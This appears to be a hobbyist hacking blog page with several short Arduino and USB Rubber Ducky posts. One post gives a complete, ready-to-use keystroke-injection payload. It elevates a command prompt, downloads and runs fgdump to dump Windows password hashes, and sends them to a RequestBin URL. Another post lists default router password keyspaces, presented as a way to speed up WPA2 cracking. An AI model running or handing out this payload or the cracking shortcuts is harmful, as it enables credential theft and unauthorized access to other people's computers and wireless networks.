Arduino pro micro STOP button


In my example in the above video I soldered the button between pins 3 and GND because they are so close to eachother, if you use different pins make sure to make changes to the code. To get the button working add the following code at the top of the setup() function:

pinMode(3, INPUT_PULLUP);
if (digitalRead(3) == LOW){
while(1);
}

If the button is pressed when plugged in the arduino will go into an infinite while loop, preventing any other code from running.

Hack Windows Passwords With USB Rubber Ducky

in this video I show you how to retrieve windows logon hashes using a USB rubber ducky and then how to decrypt them using hashcat. You will need the following code in this project…
cd /win & echo (wget 'REPLACE_WITH_FGDUMP_DOWNLOAD_LINK' -OutFile out.exe) > test.PS1 & powershell -ExecutionPolicy ByPass -File test.ps1 & START /B out.exe & ping 127.0.0.1 -n 4 > nul & echo ($passes = Get-Content c:\win\127.0.0.1.pwdump);($url = 'REPLACE_WITH_REQUESTBIN_LINK?p=' + $passes);(wget $url) > request.PS1 & powershell -ExecutionPolicy ByPass -File request.ps1 & exit
Encode the above with base64 using this, then replace PASTE_BASE_64_HERE with it
DELAY 400
GUI
DELAY 200
STRING cmd
CTRL-SHIFT ENTER
DELAY 200
LEFTARROW
DELAY 200
ENTER
DELAY 200
STRING cd / & mkdir win & cd win
ENTER
DELAY 50
STRING echo PASTE_BASE_64_HERE > base.txt
ENTER
DELAY 50
STRING certutil -decode base.txt run.bat
ENTER
DELAY 150
STRING START /MIN run.bat
ENTER
DELAY 50
STRING exit
ENTER

If you’re using the arduino pro micro remember to remove the hyphen (-) and replace with a space
CTRL-SHIFT

Also if you’re using the pro micro, just before you upload it to the arduino change the following code as shown below…
Keyboard.press(KEY_LEFT_CTRL);
delay(200); // ADD THIS
Keyboard.press(KEY_LEFT_SHIFT);
delay(200);// ADD THIS
Keyboard.press(KEY_RETURN);
delay(200);// ADD THIS
Keyboard.releaseAll();

If you have any questions feel free to ask in the comments of the video.

Default WiFi Router Keyspace

The passwords that come default on wireless routers may seem secure, a bunch of random letters and numbers. But all is not as it seems, for whatever reason many ISPs restrict the keyspace of the passwords that come on their routers. For example in the UK, once you sign a contract for broadband with BT you will get sent a BT homehub router with a default password that looks totally random, however that password will actually only contain numbers 2-9 and letters a-f and will always be 10 characters long, armed with this information cracking a wpa2 key becomes a lot easier and a lot faster. In the above video I explain all. Down below is a list of default router password keyspaces I have collated.

BTHomeHub-XXXX - [0-9a-f] Len: 10
BTHomeHub2-XXXX - [2-9a-f] Len: 10
BTHub3 - [2-9a-f] Len: 10
BTHub4 - [2-9a-f] Len: 10
BTHub5 - [2-9a-f] Len: 10
BTHub6 - [0-9a-zA-Z] Len: 10 or 12
ThomsonXXXXXX - [0-9a-f] Len: 10
PlusnetWireless-XXXXXX - [0-9A-F] Len: 10
belkin.xxx - [2-9a-f] Len: 8
belkin.xxxx - [2-9a-f] Len: 8
Belkin.XXXX - [0-9A-F] Len: 8
Belkin_XXXXXX - [0-9A-F] Len: 8
BELL### - [0-9A-F] Len: 8
BELL#### - [0-9A-F] Len: 10
TP-LINK_###### - [0-9A-F] Len: 8
TDC-#### - [0-9a-f] Len: 9
TNCAPXXXXXX - [0-9A-F] Len: 10
WLAN1-XXXXXX - [0-9A-F] Len: 11
TelstraXXXXXX - [0-9A-F] Len:10
BigPondXXXXXX - [0-9A-F] Len:10
2WIREXXX - [0-9] Len: 10
ONOXXXX - [0-9] Len: 10
DJAWEB_##### - [0-9] Len: 10
TIM_PN51T_XXXX - [0-9] Len: 8 - WPS pin is 12345670... and WPS can't be disabled...
INFINITUM#### - [0-9] Len: 10
NETGEARXX - Adjective + Noun + 3 Digits
CenturyLinkXXXX - [0-9a-f] Len: 14
BrightBox-XXXXXX - [??] Len: 8
EEBrightBox-XXXXXX - [3 word with hyphens]
Orange-XXXX - [2345679ACEF] Len: 8
TALKTALK-XXXXXX - [ABCDEFGHJKMNPQRTUVWXY346789] Len: 8
AOLBB-XXXXXX - [0-9A-Z] Len: 8
UPCXXXXXXX - [A-Z] Len: 8
SKYXXXXX - [A-Z] Len: 8
Tech_XXXXXXXX - [A-Z] Len: 8
Keenetic-XXXX - [a-zA-Z0-9] Len: 8 (Might be scope to reduce the charset but even so, large key-space)
Virgin Media [abcdefghjklmnpqrstuvwxyz] Length 8 i and o omitted.
VMXXXXXXX-2G [abcdefghjklmnpqrstuvwxyz] Length 8 i and o omitted.
VMXXXXXXX-5G [abcdefghjklmnpqrstuvwxyz] Length 8 i and o omitted.
VMXXXXXXX [0-9a-zA-Z] Len: 12
FRITZ!Box Fon WLAN #### - [0-9] Len: 16
EasyBox-###### - [0-9A-F] Len: 9
MobileWifi-xxxx - [0-9] Len: 8
3Wireless-Modem-XXXX - [0-9A-F]
UNITE-XXXX - [0-9] Len: 8
Verizon MIFIXXXX XXXX - [0-9] Len: 11
VirginMobile MiFiXXXX XXX - [0-9] Len: 11
E583x-xxxx - [0-9] Len: 8
E583x-xxxxx - [0-9A-F] Len: 8
Domino-XXXX - [0-9A-F] Len: 8
Netia-XXXXXX - [0-9a-f] Len: 13
Telecom-XXXXXXXX - [not-sure]

If what you’re looking for isn’t here then try googling it or check this post which is where this list came from.

$3 USB Rubber Ducky

Rubber duckys are awesome, but really pricey at the same time, in the above video I show you how to make a chaeap rubber ducky out of a $3 arduino pro micro, its really easy and there’s no programming knowledge needed. If you need any help or have any questions feel free to ask them in the comments of the youtube video.

I buy my arduino pro micros from aliexpress since they’re so cheap, here’s the link I use https://www.aliexpress.com/item/Mini-Leonardo-Pro-Micro-ATmega32U4-5V-16MHz-Module-For-Arduino-Best-Quality/32284746884.html

Download the arduino IDE from https://www.arduino.cc/en/Main/Software